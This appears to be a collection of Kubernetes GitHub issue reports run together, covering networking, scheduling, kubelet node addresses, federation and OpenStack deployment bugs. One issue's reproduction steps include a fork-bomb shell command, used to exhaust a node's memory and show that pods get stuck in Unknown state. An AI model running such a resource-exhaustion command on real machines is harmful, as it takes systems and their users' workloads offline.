\\&quot;kube-flannel-ds-5k9vn_kube-system ac69edce-93a9-11e8-b74d-38d547b35fe9 \\&quot; failed: rpc error: code = unknown desc = failed to create a sandbox for pod \\&quot;kube-flannel-ds-5k9vn\\&quot;: error response from daemon: no command specified&quot;\r </pre>

what would you like to be added  :\r to have kubelet get the pod's ip, based on the family used for the service network. for an ipv4 only cluster, this would be the pod's ipv4 address. for an ipv6 only cluster, this would be the pod's ipv6 address. for dual-stack, this would be the ipv4 address, if the service network is using ipv4, or the ipv6 address, if the service network is using ipv6.\r \r   why is this needed  :\r for dual-stack networking, as being proposed in kep 2245, the service network will be single family. for proper operation, the pod ip being used should match the family used by the service network.\r \r currently, kubelet will prioritize using the ipv4 address from a pod, and if it does  not  exist, an attempt will be made to use the ipv6 address from the pod. this works for ipv4 only and ipv6 only clusters, but will not work for dual stack.\r \r i listed this as an enhancement, instead of a bug, as current operation for ipv4 only and ipv6 only work fine. let me know, if the issue should be recategorized.\r \r i have changes for a pr in progress and will push up as soon as i can.\r \r  /area ipv6\r \r <!-- do not edit below this line -->\r 

i modified update-api-reference docs to contain a new group  maybe there's some other way to gen api docs for a new group? : https://github.com/kubernetes/kubernetes/blob/master/hack/update-api-reference-docs.sh l43  it's obviously not going to find anything because i just added the group.       success --2016-04-15 00:56:26--  https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/apis/apps/v1alpha1/register.go resolving raw.githubusercontent.com  raw.githubusercontent.com ... 23.235.40.133 connecting to raw.githubusercontent.com  raw.githubusercontent.com |23.235.40.133|:443... connected. http request sent, awaiting response... 404 not found 2016-04-15 00:56:27 error 404: not found.  --2016-04-15 00:56:27--  https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/apis/apps/v1alpha1/register.go resolving raw.githubusercontent.com  raw.githubusercontent.com ... 23.235.40.133 connecting to raw.githubusercontent.com  raw.githubusercontent.com |23.235.40.133|:443... connected. http request sent, awaiting response... 404 not found 2016-04-15 00:56:27 error 404: not found.  --2016-04-15 00:56:27--  https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/apis/apps/v1alpha1/register.go resolving raw.githubusercontent.com  raw.githubusercontent.com ... 23.235.40.133 connecting to raw.githubusercontent.com  raw.githubusercontent.com |23.235.40.133|:443... connected. http request sent, awaiting response... 404 not found 2016-04-15 00:56:27 error 404: not found.  !!! error in ./hack/update-api-reference-docs.sh:69   'docker run ${user_flags} --rm -v \ ${tmp_in_host}\ :/output:z -v \ ${swagger_path}\ :/swagger-source:z gcr.io/google_containers/gen-swagger-docs:v5 \ ${swagger_json_name}\  \ ${register_file_url}\ ' exited with status 1 call stack:   1: ./hack/update-api-reference-docs.sh:69 main ...

is this a bug report or feature request?   bug    kubernetes version    use  kubectl version  : master    environment  : -   cloud provider or hardware configuration  : openstack provider -   os    e.g. from /etc/os-release : n/a -   kernel    e.g.  uname -a  : n/a -   install tools  : n/a -   others  :    what happened  : when using the \ octavia\  provider for lbaas on openstack, it creates at least one hidden port, and assigns it to a hidden security group.  unfortunately the traffic from the lb to the k8 nodes come from this port, not the vip port, so the work done to add security group rules based on nodeports is redundant.  the work for inbound rule is still applicable, but we need to have a switch that when using octavia we add a rule that allows \ all\  from  vip_subnet  's address space.    what you expected to happen  :    how to reproduce it    as minimally and precisely as possible :    anything else do we need to know  :

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8/  run so broken it didn't make junit output!

is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : master\r \r   what happened  :\r three way merge is described as\r > createthreewaymergepatch reconciles a modified configuration with an original configuration, while preserving any changes or deletions made to the original configuration in the interim, and not overridden by the current configuration.\r \r however the behaviour matches this test case  https://github.com/kubernetes/kubernetes/blob/5190ace8f0d78d8b1774504e502ae983b993b48c/pkg/util/strategicpatch/patch_test.go l380 \r \r the key  name  is  1  in original,  1  in modified and  a  in current. the three way patch is replacing  name  with  1 .\r \r   what you expected to happen  :\r as  name  has not changed from original to modified, i expected three way merge to be \ preserving any changes or deletions made to the original configuration in the interim\  and keep the value as  a .\r \r i followed the history of the test case, and it existed from the beginning.\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : gci, container-vm, kubedns, dns\r \r ---\r \r   is this a bug report or feature request?    choose one : bug\r \r   kubernetes version    use  kubectl version  : 1.5.3\r \r \r   environment  :\r gke with alpha-features\r \r \r   what happened  :\r i booted my cluster up with the gci image in gke. my pods are reporting that  redis.default.svc.cluster.local  is not found, even though  dig a redis.default.svc.cluster.local  returns an ip and the redis service and pods are working perfectly fine.\r \r after removing the cluster, applying the exact same properties and configs in a new cluster but using container-vm, everything works perfectly fine.\r \r \r   what you expected to happen  :\r n/a\r \r   how to reproduce it    as minimally and precisely as possible :\r boot up a 1.5.3 cluster with gci and use the local domain names with kubedns.\r \r   anything else we need to know  :\r \r

started as a tangent of  43014 \r \r many cni plugins don't properly handle a  del  action on missing resources. the spec says,  plugins should generally complete a del action without error even if some resources are missing , however many improperly return an error.\r \r i see the steps moving forward to be:\r -  x  modify cni plugins bundled with kubernetes to properly support del  flannel already done; bridge, ipvlan, macvlan, and ptp in containernetworking/cni 412 \r -  x  create release of containernetworking/cni\r -  x  build kubernetes version of cni using  makefile  https://github.com/kubernetes/kubernetes/blob/master/build/cni/makefile \r -     modify references to cni version  throughout project  https://github.com/kubernetes/kubernetes/search?utf8=%e2%9c%93&q=07a8a28637e97b22eb8dfe710eeae1344f69d16e \r \r does this make sense?\r \r cc/ @caseydavenport @luxas @calebamiles @yujuhong @janwillies @yujuhong @dchen1107 @djosborne @jbeda @bowei @thockin @feiskyer @aaronlevy @sameo @gherivero @tomdee @bboreham @cmluciano @dcbw @freehan

hi,\r as of right now there's no easy way  or at least i have not found any?  how to specify how many times a  cron job can be retried before it is skipped for this run. we have got:\r \r job.spec.activedeadlineseconds\r \r however from the docs:\r  the job will have status with reason: deadlineexceeded. no more pods will be created, and existing pods will be deleted.\r which implies that the running ones will be killed as well.\r that seems to be actually true only sometimes - the pods sometimes survive the killing, sometimes get killed  seems random? i have not managed to find anything useful in logs/events for this . and the job is marked with deadlineexceeded as expected.\r \r it would be nice if we could set, for example, \ try 5 attempts then give up until the next run\ .\r \r or am i mis-understanding the activedeadlineseconds option? will it not kill the running pod? in that case it should not set deadlineexceeded flag.\r \r ashley

the selflink field for a cluster seems to be missing a   /   separator between   clusters   and the cluster name: \r \r    yaml\r apiversion: federation/v1beta1\r kind: cluster\r metadata:\r   creationtimestamp: 2017-04-06t23:02:28z\r   name: openshift\r   resourceversion: \ 2\ \r   selflink: /apis/federation/v1beta1/clustersopenshift\r   uid: 1b3b0ace-1b1d-11e7-8eeb-0242ac110006\r spec:\r   secretref:\r     name: openshift\r   serveraddressbyclientcidrs:\r   - clientcidr: 0.0.0.0/0\r     serveraddress: https://192.168.77.75:8443\r status: {}\r    \r \r cc: @kubernetes/sig-federation-bugs

problem: gke wants to take advantage of componentconfig for kubelet, monitoring, kube-dns config deployment. we need a way to protect these resources from user error to maintain our sla. in our current permission model, we allow users to grant themselves system:cluster-admin  \ \\ /\\ /\\ \   and moving away from this model would be difficult. a solution would be to support unequivocal deny form an authorizer. this could be implemented by either:\r \r   turning .sar.status.allowed to a tristate  yes, dont_care, no \r   adding a .sar.status.break that defaults to false\r \r in both cases, authorizers would need to be able to register with the union authorizer as 'critical'  i.e. authorizers that might return unequivocal denys .\r \r drawbacks:\r   the current model of the union authorizer allows for failures of individual authorizers. failures of \ crictical\  authorizer will need to fail closed. this means the gke api  which serves the webhook authorizer  would need to be up for the kubernetes api to be functional.\r   rpc to gke api is required on every auth  although webhook authorizer does some caching . right now if the node,rbac,abac authorizers can serve a sar, no rpc is required.\r \r @kubernetes/sig-auth-feature-requests @roberthbailey @erictune @mtaufen

we should have some e2e tests that verify volume operation metrics are accurate.\r \r cc @msau42 \r \r 

  \r   what happened  :\r node controller does not evict pods when node is unresponsive. node controller logs stop existing as well, process looks like its still running.\r pods scheduled on stressed node are stuck in \ unknown\  state  indefinitely   i only waited 20 mins .\r \r the dead node:\r https://gist.github.com/davidz627/8abbb756ff33e6514d130b8a10b3791d\r \r the pods:\r https://gist.github.com/davidz627/27859fca226f8a7be42d0984c0fb8e51\r \r node controller logs:\r https://gist.github.com/davidz627/638a62bcb0b3d815eff19f02e7652afe\r there are no logs after this point. even after waiting 20 min.\r \r   what you expected to happen  :\r after some amount of time the node controller should evict pods in unknown state. reschedule them elsewhere. maybe clean up/restart the dead node  not sure if it's supposed to do this .\r \r   how to reproduce it  as minimally and precisely as possible   :\r you should be able to repro the basic error by\r \r 1.  create a pod: https://gist.github.com/davidz627/707ae63ff2825a43b6be698750a13d91\r 2.  get shell into container: kubectl exec -it shell-demo -- /bin/bash\r 3.  run command: \ bomb    { bomb | bomb & }; bomb\ \r 4.  wait about 10 minutes.  maybe theres a faster way to stress kill the node \r 5.  pod will enter unknown state as kubelet stops responding from node memory pressure\r 6.  pod and other pods on affected node will stay in unknown state  forever \r \r these repro steps do not match exactly to the logs and pods i linked above, those were just my pods from testing for a different thing and is slightly more complicated to repro.\r \r the big issue that manifests for my exact use case is that since my deployment includes a gce pd it will not be able to reschedule the pod to a different node until the old pod is removed. the old pod is never removed because it is stuck in the \ unknown\  state\r \r   anything else we need to know?  : \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.0-alpha.1.110+3d652cae0391cf\r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release : container-optimized os\r - kernel  e.g.  uname -a  : linux kubernetes-minion-group-4vzp 4.4.86+  1 smp thu dec 7 20:11:11 pst 2017 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r when a node gets a second eni  elastic network interface  attached to it, the  kubelet patch's up to the api server  https://github.com/kubernetes/kubernetes/blob/release-1.9/pkg/kubelet/kubelet_node_status.go l135  all ip's for all network interfaces on the node   it gets this from the ec2 metadata  https://github.com/kubernetes/kubernetes/blob/f91389f9bc47d197543f972e17911be638c2e0fd/pkg/cloudprovider/providers/aws/aws.go l1173-l1193   the payload might look like this:\r    yaml\r {\r   \ status\ : {\r     \ $setelementorder/addresses\ :  \r       {\r         \ type\ : \ internalip\ \r       },\r       {\r         \ type\ : \ internalip\ \r       },\r       {\r         \ type\ : \ internalip\ \r       },\r  ... \r       {\r         \ type\ : \ internalip\ \r       },\r       {\r         \ type\ : \ internaldns\ \r       },\r       {\r         \ type\ : \ externaldns\ \r       },\r       {\r         \ type\ : \ hostname\ \r       }\r      ,\r     \ addresses\ :  \r       {\r         \ address\ : \ 10.0.116.30\ ,   a secondary ip\r         \ type\ : \ internalip\ \r       },\r       {\r         \ address\ : \ 10.0.106.136\ ,   a secondary ip\r         \ type\ : \ internalip\ \r       },\r       {\r         \ address\ : \ 10.0.110.215\ ,   a secondary ip\r         \ type\ : \ internalip\ \r       },\r ...\r       {\r         \ address\ : \ 10.0.104.85\ ,   correct primary ip\r         \ type\ : \ internalip\ \r       },\r       {\r         \ address\ : \ 10.0.103.102\ ,    a secondary ip, the one incorrectly reported for the node\r         \ type\ : \ internalip\ \r       }\r      \r   }\r }\r    \r \r when trying to detect if the node has changed, the node controller manager  de-duplicates  https://github.com/kubernetes/kubernetes/blob/release-1.9/pkg/controller/cloud/node_controller.go l434-l452  addresses of the same  type  from each node, picking the last one the in the list the kubelet reports.\r \r   what you expected to happen  :\r the  eth0  ip should be reported as the  privateip  address on the node's  .status.addresses    list.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a new cluster  with kops , install the aws cni provider, and check the node's  internalip \r    bash\r kubectl get no -o json | jq .items  .status.addresses\r    \r \r you'll get something like \r    json\r  \r   {\r       note: different than the ip in the internaldns name\r     \ type\ : \ internalip\ ,\r     \ address\ : \ 10.0.103.102\ \r   },\r   {\r     \ type\ : \ externalip\ ,\r     \ address\ : \ 53.11.22.33\ \r   },\r   {\r     \ type\ : \ internaldns\ ,\r     \ address\ : \ ip-10-0-104-85.us-west-2.compute.internal\ \r   },\r   {\r     \ type\ : \ externaldns\ ,\r     \ address\ : \ ec2-52-11-22-33.us-west-2.compute.amazonaws.com\ \r   },\r   {\r     \ type\ : \ hostname\ ,\r     \ address\ : \ ip-10-0-104-85.us-west-2.compute.internal\ \r   }\r  \r    \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.x\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release :  amazon linux \r - kernel  e.g.  uname -a  :   4.9.85-47.59.amzn2.x86_64 \r \r other reports:\r   aws/amazon-vpc-cni-k8s 21\r   kubernetes/kops 4218\r \r maybe related to  42125\r \r since the node controller only keeps the last  internalip  address in the patch, can we have the ec2 metadata lookup query  http://169.254.169.254/latest/meta-data/local-ipv4  for the  internalip ? there may be something i'm missing, and i'd love to get pointed in the right direction. if this is unintentional, is this something that we could get a fix for backported onto the 1.9 branch? i'm happy to get a patch out for this.\r \r ping @justinsb @chrislovecnm

failing jobs\r  sig-release-master-upgrade gke-gci-1.10-gci-master-upgrade-master  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-1.10-gci-master-upgrade-master \r \r   failing tests\r  up  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-master/1335 \r \r triage results\r  up  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-master&test=up \r \r tests failing on sig-release-master-upgrade\r  / / /cc @tpepper @aishsundar \r \r not sure which sig this falls under.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-scheduling-bugs \r \r \r   what happened  :\r here's an example from an e2e test:\r https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial/4196/artifacts/bootstrap-e2e-master/kube-scheduler.log\r \r    \r i1011 00:01:23.747194       1 wrap.go:42  get /healthz:  21.155µs  200  kube-probe/1.13+ 127.0.0.1:35748 \r i1011 00:01:25.678930       1 leaderelection.go:227  successfully renewed lease kube-system/kube-scheduler\r i1011 00:01:27.721975       1 leaderelection.go:227  successfully renewed lease kube-system/kube-scheduler\r i1011 00:01:29.778759       1 leaderelection.go:227  successfully renewed lease kube-system/kube-scheduler\r i1011 00:01:31.825248       1 leaderelection.go:227  successfully renewed lease kube-system/kube-scheduler\r i1011 00:01:33.748955       1 wrap.go:42  get /healthz:  23.09µs  200  kube-probe/1.13+ 127.0.0.1:35770 \r i1011 00:01:33.890292       1 leaderelection.go:227  successfully renewed lease kube-system/kube-scheduler\r i1011 00:01:35.935005       1 leaderelection.go:227  successfully renewed lease kube-system/kube-scheduler\r i1011 00:01:37.984695       1 leaderelection.go:227  successfully renewed lease kube-system/kube-scheduler\r i1011 00:01:40.027758       1 leaderelection.go:227  successfully renewed lease kube-system/kube-scheduler\r i1011 00:01:42.084951       1 leaderelection.go:227  successfully renewed lease kube-system/kube-scheduler\r    \r \r \r   what you expected to happen  :\r leader election success logs to be at a higher log level.\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r i've bootstrapped a cluster with kubeadm on a banana pi, it is up and running. upon restarting, some process is slow that kube-apiserver does not boot up, exits with last lines:\r \r    \r i1218 19:19:04.831034       1 log.go:172  http: tls handshake error from 10.0.0.39:43582: eof\r i1218 19:19:04.867159       1 log.go:172  http: tls handshake error from 10.0.0.39:43598: eof\r i1218 19:19:04.932248       1 log.go:172  http: tls handshake error from 10.0.0.39:43552: eof\r i1218 19:19:05.169874       1 log.go:172  http: tls handshake error from 10.0.0.39:43578: eof\r w1218 19:19:05.534620       1 storage_scheduling.go:95  unable to get priorityclass system-node-critical: get https:// ::1 :6443/apis/scheduling.k8s.io/v1beta1/priorityclasses/system-node-critical: net/http: tls handshake timeout. retrying...\r    \r \r   what you expected to happen  :\r expected the kube-apiserver to start up.\r \r   how to reproduce it  as minimally and precisely as possible   :\r on a banana pi  a20  bootstrap a cluster with kubeadm, add kube-router cni, and then restart kubelet.\r \r   anything else we need to know?  :\r the version below contains a proposed fix, that is why the gitversion is dirty.\r \r   environment  :\r - kubernetes version\r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:39:04z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/arm\ }\r server version: version.info{major:\ 1\ , minor:\ 13+\ , gitversion:\ v1.13.2-beta.0.1+598a01989dcd06-dirty\ , gitcommit:\ 598a01989dcd06ec776248506fe6eb32f499bd38\ , gittreestate:\ dirty\ , builddate:\ 2018-12-18t19:10:37z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/arm\ }\r \r - cloud provider or hardware configuration:\r banana pi m1 plus\r - os  e.g. from /etc/os-release :\r pretty_name=\ debian gnu/linux 9  stretch \ \r name=\ debian gnu/linux\ \r version_id=\ 9\ \r version=\ 9  stretch \ \r id=debian\r home_url=\ https://www.debian.org/\ \r support_url=\ https://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r \r - kernel  e.g.  uname -a  :\r linux k8s-master 4.9.0-8-armmp  1 smp debian 4.9.130-2  2018-10-27  armv7l gnu/linux\r \r - install tools:\r kubeadm\r - others:\r seems that in pkg/registry/scheduling/rest/storage_scheduling.go addsystempriorityclasses   adds a function which uses wait.poll. on line 95 it logs 'retrying...', howewer the return statement tells wait.poll   to stop polling.\r \r <!-- do not edit below this line -->\r 

after the introduction of pod  preemption, we added a new scheduling queue which is  and has various features to provide fairness and to ensure that a high  pod does not block the head of the queue. this new queue has been enabled by default since kubernetes 1.11 and is tested extensively in production and non-production scenarios. given the maturity of the new queue, we can now remove  the old fifo scheduling queue  https://github.com/kubernetes/kubernetes/blob/1c105e1629c7ab88623c97f1186609cbf27768f9/pkg/scheduler/internal/queue/scheduling_queue.go l103  and  the old pod backoff mechanism  https://github.com/kubernetes/kubernetes/blob/1c105e1629c7ab88623c97f1186609cbf27768f9/pkg/scheduler/factory/factory.go l681  from the scheduler code base.\r \r  

the features flag below should be removed from the codebase.\r \r -     508:\thugepages https://github.com/kubernetes/kubernetes/pull/79307\r -     523:\tvolumescheduling https://github.com/kubernetes/kubernetes/pull/79307\r -     524:\tcsipersistentvolume https://github.com/kubernetes/kubernetes/pull/79309\r -     527:\tcustompoddns https://github.com/kubernetes/kubernetes/pull/79307\r -     550:\tpodreadinessgates https://github.com/kubernetes/kubernetes/pull/79307\r -     552:\tkubeletpluginswatcher https://github.com/kubernetes/kubernetes/pull/79310\r

i'm using https://github.com/googlecloudplatform/kubernetes/blob/release-1.0/docs/getting-started-guides/fedora/fedora_ansible_config.md on centos machines.  the ansible scripts add http://cbs.centos.org/repos/virt7-testing/x86_64/os/ as a yum repo to pull in kubernetes, but it looks like that repo hasn't been updated to the 1.0 binaries. 0.18 is the latest kubernetes there.  as a result, controller manager fails to start with  unknown flag: --root_ca_file .

i've been digging through our api code in order to automatically document the api, and it's hard to understand.  the division between master and apiserver isn't clean, and the api machinery is spread out between  at least  api, runtime, conversion, version, and registry, with a seemingly arbitrary decomposition into files and a bewildering proliferation of interfaces  storage, codec, scheme, ... . additionally, it's not obvious which code is used by the server, by clients, or both. also, ideally, the generic machinery would be cleanly separated from kubernetes's specific api object implementations.  after we get some api plugins working, i suggest we look hard at how to simplify and reorganize this.  /cc @lavalamp @smarterclayton

it's important for users to be able to determine which actions they are allowed to perform.  we have a general api for inspecting a particular action called  selfsubjectaccessreview.v1beta1.authorization.k8s.io .  it is not tied to a particular authorizer because api actions have a defined set of parameter by the  authorizer.authorize  interface.  we need a similar api for users to be able to determine which actions they're allowed to perform without checking an exhaustive list themselves.  openshift models this with a  subjectrulesreview  endpoint which returns back a list of essentially  rbac.policyrules , but kube should not tie the endpoint directly to a particular authorizer.  i think we can manage this by creating an optional interface implemented by an authorizer which could provide the information.  if we made an  allowedactions   authorizer.attributes  interface which an authorizer could implement to provide a list of  authorizer.attributes , we could create a generic endpoint in the  authorization.k8s.io  group which would be authorizer agnostic.  @kubernetes/sig-auth comments?

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :  no    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  openstack swift openstack swift_server_url  ---    is this a bug report or feature request?    choose one :  bug report  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  :  v1.4.3    environment  : -   cloud provider or hardware configuration  :  ovh / openstack -   os    e.g. from /etc/os-release :  name=\ ubuntu\  version=\ 16.04.1 lts  xenial xerus \  id=ubuntu id_like=debian pretty_name=\ ubuntu 16.04.1 lts\  version_id=\ 16.04\  home_url=\ http://www.ubuntu.com/\  support_url=\ http://help.ubuntu.com/\  bug_report_url=\ http://bugs.launchpad.net/ubuntu/\  ubuntu_codename=xenial -   kernel    e.g.  uname -a  :  linux my-laptop 4.4.0-42-generic  62-ubuntu smp fri oct 7 23:11:45 utc 2016 x86_64 x86_64 x86_64 gnu/linux -   install tools  : -   others  :    what happened  :  running ./cluster/kube-up.sh raises an error with:      sh usage: openstack stack create  -h   -f {json,shell,table,value,yaml}                                 -c column   --max-width <integer>   --noindent                                 --prefix prefix   -e <environment>                                 --timeout <timeout>   --pre-create <resource>                                 --enable-rollback   --parameter <key=value>                                 --parameter-file <key=file>   --wait                                 --tags <tag1,tag2...>   --dry-run  -t                               <template>                               <stack-name> openstack stack create: error: unrecognized arguments: https://storage.sbg1.cloud.ovh.net/v1/auth_123456789/kubernetes/kubernetes-salt.tar.gz https://storage.bhs1.cloud.ovh.net/v1/auth_123456789 https://storage.sbg1.cloud.ovh.net/v1/auth_123456789/kubernetes/kubernetes-server.tar.gz kubernetesstack        what you expected to happen  :  the command to succeed!    how to reproduce it    as minimally and precisely as possible :  you probably need a setup on ovh which is not very minimal…however see below.    anything else do we need to know  :  i've investigated a bit and found that the bug came from  cluster/openstack-heat/util.sh  trying to automatically detect swift url as it wasn't specified. for that it uses the command  openstack catalog show object-store  which, in my case, returns three results. i think a simple fix would be to only get the first one by piping  head -n 1       sh swift_server_url=$ openstack catalog show object-store --format value | egrep -o \ publicurl:  .+ $\  | cut -d\  \  -f2 | head -n 1       if that sounds good to you, i'll send a pr.

does the shim need to persist runtime config options so the network plugin can notice changes?    \r 1. some runtime options are only needed at startup and not changed thereafter. we handle this today.\r 2. some may change at any point. fails existence proof  ? .\r 3. some are only available after startup, but won't change\r \r podcidr is an example of 3, and i think it might need to get persisted beause network plugins today assume a complete cni.conf. there are 2 ways to get that:     \r 1. admin provisions complete cni.conf in --cni-conf-dir, ignores podcidr\r 2. runtime shim constructs valid cni.conf at runtime\r \r kubenet for example keeps the cni.conf template in memory and replaces the cidr using normal string substituation  \ subnet: %s:\  . when the kubelet retrieves a podcidr from the node, it sends an event into kubenet. this works because kubenet is compiled in. if the shim is responsible for invoking the plugin, and the shim isn't compiled in, it needs a way to get the cidr. \r \r @kubernetes/sig-network \r

deleting not scheduled pod cause scheduler errors. \r kube-scheduler log contains messages like\r \r > error getting pod default/stress-1000200342-pi0f8 for retry: pod  stress-1000200342-pi0f8  failed to fit in any node\r \r   steps to reproduce  :\r 1. kubectl run stress --image progrium/stress --limits='cpu=300' --replicas=1 -- --cpu 1\r 2. kubectl delete deploy stress\r \r   kubernetes version  : 1.4.5\r \r   environment  :\r - bar-metal\r -   os  : ubuntu 16.04.1\r

we need a way for admins to be able to specify policies regarding in which clusters can their resources be scheduled.\r demo of a poc from @tsandall: https://www.youtube.com/watch?v=hrz13babhfg\r \r next step is to finalize the design and then implement it.\r \r cc @kubernetes/sig-federation-misc @tsandall @quinton-hoole

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  : vsphere\r -   os    e.g. from /etc/os-release : vmware photon\r -   kernel    e.g.  uname -a  :\r -   install tools  : flannel\r -   others  :\r \r \r   what happened  :\r kubelet stop running displays error \r    \r duplicate value: api.nodeaddress{type:\ internalip\ , address:\ fc00:10:20:105:250:56ff:fe8e:a16a\ }\r    \r \r   what you expected to happen  :\r kubelet should be running\r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r first time when kubelet post status as ready. later, fails due to the error\r    \r duplicate value: api.nodeaddress{type:\ internalip\ , address:\ fc00:10:20:105:250:56ff:fe8e:a16a\ }\r    \r after restarting kubelet it works fine. yet, kubectl shows node status as notready.\r kubelet logs:\r    \r kubelet_node_status.go:327  error updating node status, will retry: failed to patch status \ {\\\ status\\\ :{\\\ addresses\\\ : {\\\ address\\\ :\\\ fe80::c08d:d6ff:fe14:9390\\\ ,\\\ type\\\ :\\\ externalip\\\ },{\\\ address\\\ :\\\ fe80::42:c8ff:fe95:df21\\\ ,\\\ type\\\ :\\\ externalip\\\ },{\\\ address\\\ :\\\ 172.1.77.1\\\ ,\\\ type\\\ :\\\ externalip\\\ },{\\\ address\\\ :\\\ fe80::d1:3ff:fe9b:6926\\\ ,\\\ type\\\ :\\\ externalip\\\ },{\\\ address\\\ :\\\ fc00:10:20:104:250:56ff:fe8e:4437\\\ ,\\\ type\\\ :\\\ internalip\\\ },{\\\ address\\\ :\\\ fc00:10:20:105:250:56ff:fe8e:4437\\\ ,\\\ type\\\ :\\\ internalip\\\ },{\\\ address\\\ :\\\ fe80::250:56ff:fe8e:4437\\\ ,\\\ type\\\ :\\\ internalip\\\ },{\\\ address\\\ :\\\ 10.20.104.27\\\ ,\\\ type\\\ :\\\ internalip\\\ },{\\\ address\\\ :\\\ fc00:10:20:106:250:56ff:fe8e:4437\\\ ,\\\ type\\\ :\\\ internalip\\\ },{\\\ address\\\ :\\\ fc00:10:20:107:250:56ff:fe8e:4437\\\ ,\\\ type\\\ :\\\ internalip\\\ } ,\\\ conditions\\\ : {\\\ lastheartbeattime\\\ :\\\ 2017-03-04t07:13:32z\\\ ,\\\ type\\\ :\\\ diskpressure\\\ },{\\\ lastheartbeattime\\\ :\\\ 2017-03-04t07:13:32z\\\ ,\\\ type\\\ :\\\ memorypressure\\\ },{\\\ lastheartbeattime\\\ :\\\ 2017-03-04t07:13:32z\\\ ,\\\ type\\\ :\\\ outofdisk\\\ },{\\\ lastheartbeattime\\\ :\\\ 2017-03-04t07:13:32z\\\ ,\\\ type\\\ :\\\ ready\\\ } ,\\\ images\\\ : {\\\ names\\\ : \\\ divyen/hyperkube-amd64:ci-green-nightly\\\  ,\\\ sizebytes\\\ :595263030},{\\\ names\\\ : \\\ gcr.io/google_containers/heapster:v1.2.0\\\  ,\\\ sizebytes\\\ :177836395},{\\\ names\\\ : \\\ gcr.io/google_containers/kubedns-amd64:1.7\\\  ,\\\ sizebytes\\\ :55064828},{\\\ names\\\ : \\\ gcr.io/google_containers/addon-resizer:1.6\\\  ,\\\ sizebytes\\\ :48784610},{\\\ names\\\ : \\\ cnastorage/k8s-ignition:nightly\\\  ,\\\ sizebytes\\\ :29559981},{\\\ names\\\ : \\\ gcr.io/google_containers/exechealthz-amd64:1.2\\\  ,\\\ sizebytes\\\ :8374840},{\\\ names\\\ : \\\ gcr.io/google_containers/kube-dnsmasq-amd64:1.3\\\  ,\\\ sizebytes\\\ :5125973},{\\\ names\\\ : \\\ gcr.io/google_containers/pause-amd64:3.0\\\  ,\\\ sizebytes\\\ :746888} }}\  